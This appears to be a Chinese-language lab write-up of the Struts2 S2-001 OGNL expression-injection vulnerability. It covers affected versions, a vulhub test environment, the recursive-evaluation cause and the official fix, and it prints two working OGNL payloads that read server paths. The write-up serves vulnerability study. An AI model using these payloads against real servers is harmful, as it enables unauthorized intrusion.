【Struts2-命令-代码执行漏洞分析系列】 S2-001
2020-12-21 11:23:22 Author: mp.weixin.qq.com(查看原文) 阅读量:159 收藏


漏洞信息:

漏洞信息页面: 

https://cwiki.apache.org/confluence/display/WW/S2-001


漏洞成因官方概述:

Remote code exploit on form validation error

漏洞影响:
WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

环境搭建:
用vulhub靶场进行搭建,非常方便


 

我已经搭建完成,这个图片是已经搭建完成的,使用 docker ps 命令 查看已经搭建好的靶场容器。


原理:


该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}


进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value}


对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行 


利用过程:
进入靶场


 
这个漏洞的问题在于可以直接输入和直接回显
将POC粘到一个输入框,点击Submit
此后会将数据提交到后端,后端检测值是否为空,然后返回,满足漏洞前提
获取tomcat执行路径:

<span class="token operator">%</span><span class="token punctuation">{</span><span class="token string">"tomcatBinDir{"</span><span class="token operator"> </span><span class="token annotation punctuation">@java</span><span class="token punctuation">.</span>lang<span class="token punctuation">.</span>System<span class="token annotation punctuation">@getProperty</span><span class="token punctuation">(</span><span class="token string">"user.dir"</span><span class="token punctuation">)</span><span class="token operator"> </span><span class="token string">"}"</span><span class="token punctuation">}</span>

 

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

 
总结:


最后总结一下 S2-001 的一个触发条件:开启 altSyntax 功能;使用 s 标签处理表单;action 返回错误;OGNL 递归处理


值得一提的是 Struts2 官方给出了一个解决办法中提到了:从XWork 2.0.4开始,OGNL解析被更改,因此它不是递归的。因此,在上面的示例中,结果将是预期的%{1 1}。


也就是只会获取到 username 的内容,而不会再把 username 里的内容再执行一遍。

推荐文章++++

*Struts2-Scan 一款全漏洞扫描利用工具

*Python编写的开源Struts2全版本漏洞检测工具

*Struts2 再爆高危漏洞S2-048 来了


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650496978&idx=3&sn=8e7b2b7caacf9bc393b2128989b69790&chksm=83ba3a36b4cdb3201dcdd5e50d2c6600d204f870601e8d63958588c0d6062d9648db7db7b9d9#rd
如有侵权请联系:admin#unsafe.sh